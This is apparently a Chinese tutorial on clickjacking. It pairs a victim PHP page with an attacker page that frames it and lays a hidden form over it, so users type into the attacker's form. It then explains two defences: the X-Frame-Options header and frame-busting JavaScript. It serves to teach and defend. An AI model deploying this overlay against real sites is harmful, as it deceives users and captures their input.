原页面source.php
<?php
//header('X-Frame-Options:DENY');
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
html,body{
margin: 0px;
padding: 0px;
}
</style>
</head>
<body>
<script type="text/javascript">
//if(parent != self) top.location.href = 'source.php';
</script>
<form action="hij.php">
<input type="text" name="name">
<input type="submit" name="">
</form>
</body>
</html>
劫持页面hij.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
html,body{
margin: 0px;
padding: 0px;
}
</style>
</head>
<body>
<iframe src="source.php" style="border:0px solid white"></iframe>
<form action="hij.php" style="position:absolute;top:0px;left:0px;z-index:1">
<input type="text" name="_name">
<input type="submit" name="">
</form>
</body>
</html>
收集信息的页面hij.php
<?php
echo 'hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack hello hijack';
?>
攻击方法: 首先自己写一个页面,接着用iframe引入其他的页面,然后自己利用定位和z-index对原页面进行覆盖和'重绘',当用户在输入时,以为是正常的页面,其实用户输入是在恶意页面进行的,最后也会提交到恶意者的服务器中。
防御方法: 1利用 header('X-Frame-Options:DENY'); 2 if(parent != self) top.location.href = 'source.php';这里要用top.location.href,否则会在iframe里不断加载source.php。因为 top.location.href代表的是最高层的window